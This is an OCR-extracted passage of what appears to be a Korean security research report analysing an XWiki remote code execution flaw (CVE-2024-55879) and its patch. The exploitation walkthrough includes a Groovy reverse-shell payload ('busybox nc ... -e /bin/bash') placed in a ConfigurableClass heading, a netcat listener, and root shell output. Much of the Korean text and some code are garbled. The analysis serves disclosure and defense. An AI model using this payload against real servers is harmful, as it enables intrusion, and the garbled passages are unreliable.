| -4366992258454243115 | 0 | XWiki.AdminLocalizationSheet] | ¥Wiki.ConfigurableClass | 80138673-f445-4507-99b1-5e5521%cc3ed |
| -3757042457310503563 | 0 | XWiki.AdminExportSheet | ®Wiki.ConfigurableClass | 1lebbbfae-bf3d-4675-8aa@-8c33305652ae |
| -857457455774161214 | 0 | XWiki.AdminExtensionRightsShegt | XWiki.ConfigurableClass | bad3afe@-4a01-48b8-584ca-2111b758d215 |
| 722116165808455315 | 0 | XWiki.RegistrationCenfig | XWiki.ConfigurableClass | d@45822c-8279-4176-a382-17153512808d |
| 2851455082505687224 0 | XWiki.AdminEditingSheet HWiki.ConfigurableClass | fd5581e8-9db@-4da8-b499-52b61843d476 |
| |4529?419300?9051002 O | XWiki.EQSTTester ¥Wiki.ConfigurableClass | 18607807-f%e4-4f2e-8187-31cdde8csazf [l
| 5435153117275208932 8 | X¥Wiki.AdminTemplatesSheet XWiki.ConfigurableClass | b@3bf517-5cff-4873-3899-7f87e8820aaa |
docceccciiiioioons focccoooooooo fococcceiecieciiiiieieiee e $occccecciiiieieion s docccccecieciceieiieee e +

33 11. XWikiobjects | MEE ConfigurableClass &&
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QoM  Z=3|$t ConfigurableClass 2| XWO_ID Zf8 &83 XWikistrings EHIO|ES ZX3|5IH
ConfigurableClass 2| String @2 XNZE=l MM M 2010| 7Hs3iCt.
MariaDB [xw"Lki]::-ISELECT * FROM xwikistrings WHERE )(I.-.'S_ID=-’\l529'|"-’\l:l9300?9051002;LA
XWS_ID | XWS_MNAME | XWS_VALUE [
--------------------- B e e e RS
4525741930075051002 | categoryIcon |
4525741930075051002 | configurationClass |
4525741930075051002 | displayvBeforeCategory |
4525741930075051002 | displavInCategory | other
4525741930075051002 | displavInSection | other
4525741930075051002 | heading | EQST Tester EQST Tester EQST Tester EQST Tester EQST Tester EQST Tester EQST Tester
4529741930075051002 | iconAttachment | |
4529741530075051002 | linkPrefix | |
4529741930075051002 | scope | WIKI+ALL_SPACES |
--------------------- B S

13l 12. XWikiobjects L XZEl ConfigurableClass Al HH&

2) Administrator Application &A| £

ol =2{2 Administrator Application extension 2| AMM| FX@} extension LH It EMZ Edf
Administrator Application 2| 7|58 &lgt 4 QlCt
(1) XAR I
XWiki OlM= xar SEXAE 717 2% OUS Sl 24 EME Import StAHLE Export BTt sHE Do
X of2fel ZCt.
@ extension-name.xar
I— % package.xml
I— - Space/NestedSpace/
L (D
—| Documentl.xml
L (2D
—| Document2.xml
3% 13.xar O X
package.xml Ol= xar Of0| CHSE HHO| ZBt:[0 UM FA 0|5, EA0f| CHet MF, =HEXt S92
MeEE ZToE[o QICh ZH 2AM(Documentl.xml, Document2.xml)= AZE XS JHX|H YEHOZ AHE
X0 S E0 MM = 0|E XAt s EAMolE HE dE, 0|F, ZMXt Hxg of g8d

HAmola, =22 LHE S0| ZElct
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(2) ConfigurableClass.xml

Administrator Application Extension 0] ConfigurableClass 2| &%2 ConfigurableClass.xml O|Af
CHELE sie EAMe EE2 FE Velocity BIZSCZ AdE0| QUCL Velocity & ZHHet HIES HOE
AtES ZEO| HolE HMHE T £ U= J|s2 71Xl Java 7|8t Template QAZXIOICEH 7|[2XMo=
Velocity HIZSI0A AESH= /2 Of2iet ZLCt.

HJ

TEX a4 ofiA|
#set(...) Axeh e M #set( $primate = “monkey” )

#if(...) #if ($foo == $bar)

Equal

#else THES LIEHHE 22Xt #else

Not equal
#end #end
#foreach( ...) #foreach( #product in $allProducts )

HHEDS | |[EHLS EX} <li>$product</li>

#end #end

#macro( tablerows $color $somelist )

#foreach( $something in $somelist )
#macro( $arg1, $arg2)

3z, <tr><td
HEE= B8 Fodts 2%t bgcolor=$color>$something</td></tr>
#end send
en
#end

ConfigurableClass.xml 9| LHEE ConfigurableClass M&ES C|O|EH|O|AZEE Z3|otn XNESH=
=222l findNamesOfAppsToConfigure 2 Adlst= ZHAOZ A[ZBICY

## Searches the database for names of apps to be configured

#set(foutputlist = [])

|#-FindNamesOprpsToCDnFigur‘e($section, $globaladmin, $xwiki.getDocument($currentDoc).getSpace(), $0utputList}|
##

332l 14. findNamesOfAppsToConfigure 0132

siet O3 20]| Ci$t HMol= ConfigurableClassMacros.xml O e 229 Velocity HESIOZ HASIC]
0{7|0il= HQL(Hibernate Query Language)® #2222 Holstn MssH= 1p&o0| HoE|of on, izt
ZIE $outputlist 0 MESH= A2 SICf ESH HAZ Hh= $section 2 AFRXIZF 2t section
ni2tolef groll siEhstn, $XWiki.getDocument($currentDoc).getSpace()= &z 2AM 0|EE H|2lst
AE FEE yhetstot.

[y

® HQL(Hibernate Query Language): SQL 2} 2|2 H|=SHL}t Z4A| X[eHMo|H Ay, CraN, SaiA 7te| HAIE HolE 4= = Hibernate 0| A

AHg3HE 2] 210
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Hel2e M¥sts TEL ofefer Zom, WX 2AMIM MBI Y

St section M2HOIE{ZL 1) XWiki
ConfigurationClass O|A| 223t displayinSection EEL2} UX[SH=

2 ConfigurableClass ZziAS
Eel oty

## We can't remove duplicates using the unique filter because the select clause will
be extended with the information

## needed by the order by clause
results.
#set (SorderedSetOfAppNames = $cellectionteool.orderedSet)

#set ($discard = $orderedSetOfippHames.addall({fservices.query.hgl{$statement).
bindvalues($params).execute()))

#set ($discard = $orderedSetOfAppiames.addalli$services.query.hgl
($statementDeprecated) .bindValues($deprecatedParams).execute()))

. Thus we remove the duplicates after we get the

a2l 15. HQL HE2s M

9 Hz| ¥ 2= SoutputList H40| HESHCL,
I #set ($discard =

$outputL15t.addﬂll($GrderedSetGFAppNames)}|

3% 16.HAL #2 =& &d = M
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Step2. XWiki RCE #2/8 (CVE-2024-55789)

1) heading I}2}0|E =X

#set($outputlist = [])
#findNamesOfAppsToConfigure($section, $globaladmin, $xwiki.getDocument($currentDoc).getSpace(), $outputlList) |

#H#

|#'For'each($appName in $output List)lo
##
## Make sure the current user has permission to edit the configurable application.
#set($userHasAccessToDocument = $xcontext.hasAccesslLevel('edit', $appName))
##
## If the document was not last saved by a user with edit privilege on this page
## then we can't safely display the page but we should warn the viewer.
#if($userHasAccessToDocument)

## Get the configurable application o
|#set($app = $xwiki.getDocument($appName) )T
##

#set($documentSavedByAuthorizedUser = false)
#checkDocumentSavedByAuthorizedUser($app, $currentDoc, $documentSavedByAuthorizedUser)

#end
(4

|#set($heading = $app.getValue('heading', $configurableObj)) |

17. heading Il2i0[E HZ I}

@ findNamesOfAppsToConfigure gf+E E3lf $outputList HHE ZtE FESICL

@ S$outputList HIE H|O|EHE $appName H==0 X|HTtCY.

A $XWiki.getDocument($appName)E | $app HHE =S 4 ULCL.

@ heading It2t0|E{= $app.getValue(*heading', $configurableObj)Z Zf0| MEEICE.

heading Of2tO[E{Z MEE HO|ZE= Of2i9| HHAE S8 CIHZ ZE=E 718l Mo HHO| atdS

stolgh &~ ULt

@ F[eFst Tl org. XWiki.platform_XWiki-platform-administration-ui_<t7X>.xar CI2ZE=

Q CI2 22 MAUS zip OF XA} HE = 4= offx|

@ XWiki > ConfigurableClass.xml It & #set($evaluatedHeading = "#evaluate($heading)") 22!
of

AF= ofzlf CIH A= 7t

== Debug Before ==

Heading: **$services.rendering.escape($heading, 'XWiki/2.1')**

CodeToExecute Before: **$services.rendering.escape($configurableObj.display(‘codeToExecute', 'view', false),
XWikif2.1")**

CodeToExecuteResult Before: **$services.rendering.escape($configurableObj.display(‘'code ToExecuteResult', 'view',
false), XWiki/2.1')**

## Original Code
#set($evaluatedHeading = "#evaluate($heading)")

= Debug After ==
Evaluated Heading: **$services.rendering.escape($evaluatedHeading, 'XWiki/2.1')**
CodeToExecute After: **$services.rendering.escape($codeToExecute, XWiki/2.1')**
CodeToExecuteResult After: **$services.rendering.escape($codeToExecuteResult, 'XWiki/2.1)**

@ M XNE & CHA| X & SEXIE (xar)2 A=]
6 xar Y2 XWiki 2 HO|X| > Administar Wiki > content > import & SE8ff YZE = M|

0| heading L=t0|E{] SE G{FE Of2fiet 20| &g 4 Ut
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Debug Before

Heading: #set{$codeToExecute = 'Test') #set(3codeToExecuteResult = '{{async}}{{groovy}} def command = "busybox nc 172.19.0.4 8888 -e /bin/bash";
def proc = command.execute(); proc.waitFer() {{{groovy}}{{/async}})

CodeToExecute Before:

CodeToExecuteResult Before:

Debug After

Evaluated Heading:

CodeToExecute After: Test

CodeToExecuteResult After: {{async}}{{groovy}} def command = "busybox nc 172.19.0.4 8888 -e /bin/bash"; def proc = command.execute();
proc.waitFor() {{/groovy}}{{/async}}

32l 18. heading H|O|2E M = H4 7}

2) XWiki scripting 2t &4 St 2pH

Java Scripting APl (JSR-223, &= API)= Java OfSZ|H0|MOM CIE AIEZE A
A= X|@lst= 7|50]Ct Ol JSR 223(Java Specification Request 223) E&S 7|tt
Z SXoz ACE MUMSIIL} Java o ATEE A0 ZF HO|EE metst 4 QT E ST XWiki OflA
Java Scripting APl £ E4d Groovy, Python, Ruby, PHP A3ZEZE Macro £ 2iZstn U2
{A3ZE A E7)} LHAOZ L TSEGA AFE0| 7tS5IC)

3AX= EQST |4 Ao ConfigurableClass £ F7t8t F, heading #H<=0f Ofziet &2 HO|ZEE

Editing obJects of EQST SEI O Create
o New object:| Custom configurable sections -

| Objects of type XWiki.ConfigurableClass (1)
= ConfigurableClass 0- SR

Display in section

other

Heading

#set(ScodeToExecute = 'Test') #set(ScodeToExecuteResult = "{fasync}i{{groovy}} def command = "busybox nc 172.19.0.4 8888 -e /bin/bash"; def proc = command.execute(), proc.waitFor() {{/groovyiH{{/async}})

12 19. heading H|0|2E XZE

ojmf AtEE HIO|ZE= CH3at &L

#set($codeToExecute = 'Test')
#set($codeToExecuteResult = '{{async}H{groovy}} def command = "busybox nc 172.19.0.4 8888 -e
/bin/bash"; def proc = command.execute(); proc.waitFor() {{/groovy}}{{/async}}')

e Ho|Z2EE 242t & HAE MTOstn codeToExecuteResult H40= groovy ATZES A2

2lHA dS Hd™AF|= 2EE Zesta Uk

EQST insight | 43



<XWiki_domain>/bin/view/XWiki/EQST?sheet=XWiki.AdminSheet&viewer=content&section=other
2 ™2 Al F7IE ConfigurableClass K| LiR2| Velocity ZE7F AAMEICE OO FIbgh C|HZ
FEE Edl heading HE-E Qlot Ha THHO| ZIE =olet £ ULt
HKWIKI

€3 / XWiKi | Administration

Administration PEi | ©Create

Last madified by admin admin on 2025/02/06 09:21

£ 1 XWiki | Administration

Administration: Other

Various configurations for extensions

Search for Debug Before
sz Look & Feel Heading ="Test) ='{{asy y}} def = "busybox nc 172.19.0.4 8888 -e /bin/bash";
def proc = command.execute(); proc.waitFor() {{/groovyJ}{{iasync}})
& Users & Rights CodeToExecute Before:
b CodeToExecuteResult Before:
# Other
Debug After

Evaluated Heading

CodeToExecute After: Test
CodeToExecuteResult After. {{asyne}}{{groovy}} def command = "busybox n¢ 172.19.0.4 8888 -2 /bin/bash"; def proc = command.execute();
proc.waitFor() {{/groovy}}{{/async}}

12l 20. heading H|0|2E X%

olmf Mt{ LHEO|ME heading Ha7t AdE|T 242 $codeToExecute, $codeToExecuteResult &
HE THEOSHA EIC.

== Debug Before ==

Heading: **$services.rendering.escape($heading, 'xwiki/2.1")**

CodeToExecute Before: **$services.rendering.escape($configurableObj.display('codeToExecute', 'view',
false), 'xwiki/2.1")**

CodeToExecuteResult Before: **$services.rendering.escape($configurableObj.display
('codeToExecuteResult', 'view', false), 'xwiki/2.1')**

| #set($evaluatedHeading = “#evaluate($heading)“)|

== Debug After ==

Evaluated Heading: **$services.rendering.escape($evaluatedHeading, 'xwiki/2.1')**
CodeToExecute After: **$services.rendering.escape($codeToExecute, 'xwiki/2.1')**
CodeToExecuteResult After: **$services.rendering.escape($codeToExecuteResult, 'xwiki/2.1")**

12l 21. heading H4: A8 IC

IH&ol=l $codeToExecuteResult 2 LHE HO|ZE= {{velocity}} AIZIE SZEb IPEO|A CIA| $HH
{{async}},{{groovy}} ATBEE TESICL 0| Sl M LHRO|N ZHXIIE heading & Solf TEst
HO|Z2EE AAsHA EICt.

#if($codeToExecute I= "")

(%class="codeToExecute"%) ( ( (##
$codeToExecuteResult

)))

#end

12l 22, CodeToExecuteResult

i3
.
0.
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AIHE| HO|2EZ2 E8 ZAK= MBOA CH7|SOI 8888 TEES E3f MIZEMOZ XWiki Ao ds

nc -1 -p 8888
id

uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 46e940ec1491 5.15.167.4-microsoft-standard-wWSL2 #1 SMP Tue Nov 5 00:21:55 UT

C 2024 x86_64 x86_64 x86_64 GNU/Linux
a3 23. 3HX PC 2|H2AY AA o

O
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SHE FIAHE2 XWikiQ| Velocity RIES! LHFON H3=[= groovy ZEZ QI8 SHXIS| 4o[&Ql FET}
Al LA AlfE|of grasict sfEt 22X 2023 H 8 & 4 Y 2AHE T 2024 H 4 & 26 &
IHX| =R, AATE HA L2 ofzol|l M 2l 7HSSICE

- URL:https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862

d0c168d?diff=unified#diffbf419a99140f3¢c12fd78ea30f855b63cfb74c1c976ff4436898266d9b3

7ad3ce

FloFst HE A2 o= XWiki > Administrator Wiki > Content > Import > org.XWiki.platform_xwiki-
platform-administration-ui_<HZ_ME > xar £ Sdfj &Qlg 4= QICt

XWIKI
) admin admin

& Log-out

{3 / XWiki ! Global Administration

Global Administration: Import -

Import pages or applications into the wiki

| 4 Aaminister Wiki

Begin by uploading a new package or by selecting one from the I able packages. The content of the selected pac

Search for... with the import options.
5 Look & Feel
Package Content
=| Content -
[weaa]a=s PACKAGE  org.xwiki.platforn
Page Templales ULIOT0asEr
Available packages DESCRIPTION XWiki Platfor
\ ocalization 4 VERSION 15.105
e, @ org xwiki platform_xwiki-platform-admini~ xar 11 % AUTHOR  XWiki.Admin
Added by admin admin on 2025/02/04 08:10 - (357.4 KB)
! XWiki
Export AccountValid
1 AdminEditing
g% Users & Rights AdminExport;
1 AdminExtens
#* Other AdminFieldsl
1 AdminGroups
iting v minimport!
& Edit ¥ Adminimport!
- AdminLocaliz

182l 24. #2|Xt Ho]X] > Extension 0l

st A

of =tolst , ConfigurableClass.xml I} codeToExecute #Ha X2| 2HHO|
HZAZ|O] o HY Mo AF2El codeToExecuteResult H4-E O 0|4 ALK 4SS & 4 QUL

#set ($codeToExecute = "%!app.getValue( 'codeToExecute', $configurablelbi)™)
#if(%codeToExecute != ')
#set({$codeToExecuteResult = $configurableObj.display (' codeToExecute', 'wview', false)})

#set ($codeToExecute = "$!app.getValue( ' codeToExecute', $configurableObj)™)

12l 25, codeToExecute ¥4 X2| $8 Apet

EQST insight | 46


https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce

CEoE B4~ codeToExecutResult 7t AU FAYH 7212 Of2fet 20| AFRE {27} ol e

-
EAER EFH I= A™E LRACL

%class="codeToExecute"%) ( ( (##

fcodeToExecuteResult

$configurableObj.display( ' codeToExecute', 'view', false)

12l 26. codeToExecutResult £ Apgt

Flekst Tl XWiki £ <=15.10.9, <=16.3.0 HHEOZ m{x| ZAS L&Msfjof $ICt T IHX| HE Hof|
2E &2 HO|H= HHEA| st Flof| 34 Z2ME e Zidsior otct ot BiIZ 2HAOICH ¥a20|=
2EHO| &o[eho]| Ro[sHOF oiCt. IHX|E SH= 2ok of2iet ZCt.
o= £tH OHX] st

I§7|x] gazjjo|= sudo apt install xwiki-tomcat9-mariadb 4!

Docker &2130|= Y35 Axsio] 00X HE U 2= LEQ| XA Y

WAR giTzjo|= 7|Z WAR AH| = A HAE C}RE2E S HYX = Distribution Wizard &8

o= mj7|x] Y¥azol= M HES "2 MX[o 2, 43 oy ClAEZE 502 HY

A HiX|= ofz A3E HOsHM 3 £ UACH

+URL: https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Upgrade/

EQST insight | 47


https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Upgrade/

H 10 AO|E

« XWiki (About XWiki) : https://www.xwiki.org/xwiki/bin/view/Main/

« XWiki (Administration Application) :
https://extensions.xwiki.org/xwiki/bin/view/Extension/Administration%20Application

« XWiki (XWiki Velocity Training) :
https://www.xwiki.org/xwiki/bin/view/Documentation/DevGuide/Scripting/XWikiVelocity Training/
« XWiki (Script Macro) : https://extensions.xwiki.org/xwiki/bin/view/Extension/Script%20Macro

« XWiki (Release Notes, 14.7RC1) :
https://www.xwiki.org/xwiki/bin/view/ReleaseNotes/Data/XWiki/14.7RC1/Entry001/

« XWiki (XWikiSyntax) :
https://www.xwiki.org/xwiki/bin/view/Documentation/UserGuide/Features/XWikiSyntax/

- EQST Insight Special Report (SSTI) :
https://www.skshieldus.com/download/files/download.do?0_fname=EQST %20insight_Research%20Techniq
ue_%EB%B3%84%EC%B1%85_202403.pdf&r_fname=20240327134650045.pdf

« XWiki (XWikiDocument XML) :
https://extensions.xwiki.org/xwiki/bin/view/Extension/XAR%20Module%20Specifications

« XWiki (Upgrading) : https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Upgrade/
- Hibernate Documentation (The Hibernate Query Language):
https://docs.jboss.org/hibernate/orm/3.3/reference/en-US/html/queryhgl.html

- CVE-2024-55879: https://github.com/xwiki/xwiki-
platform/commit/8493435ff9606905a2d913607d6¢c79862d0c168d
https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-r279-47wg-chpr
https://jira.xwiki.org/browse/XWIKI-21207
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